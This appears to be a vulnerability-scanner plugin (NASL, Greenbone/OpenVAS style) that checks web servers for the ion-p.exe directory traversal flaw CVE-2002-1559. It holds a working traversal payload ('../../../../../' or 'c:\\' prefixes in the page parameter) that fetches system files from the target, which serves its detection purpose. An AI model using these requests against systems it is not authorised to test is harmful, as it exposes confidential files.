ion-p/ion-p.exe Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2003 John Lampe
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11729");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/6091");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2002-1559");
  script_name("ion-p/ion-p.exe Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2003 John Lampe");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"The ion-p.exe exists on this webserver.
  Some versions of this file are vulnerable to remote exploit.");

  script_tag(name:"impact", value:"An attacker, exploiting this vulnerability, may be able to gain
  access to confidential data and/or escalate their privileges on the Web server.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");

if( os_host_runs( "windows" ) == "yes" ) {
  files = traversal_files( "windows" );
  prefix = "c:\\";
  check_file = "/ion-p.exe?page=";
  check_os = "windows";
} else if( os_host_runs( "linux" ) == "yes" ) {
  files = traversal_files( "linux" );
  prefix = "../../../../../";
  check_file = "/ion-p?page=";
} else {
  exit( 0 ); # nb: This CGI is low prio these days so don't run this test against a system we don't know the OS.
}

port = http_get_port( default:80 );

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  foreach pattern( keys( files ) ) {

    file = files[pattern];
    if( check_os == "windows" )
      file = str_replace( find:"/", string:file, replace:"\\" );

    url = dir + check_file + prefix + file;

    if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );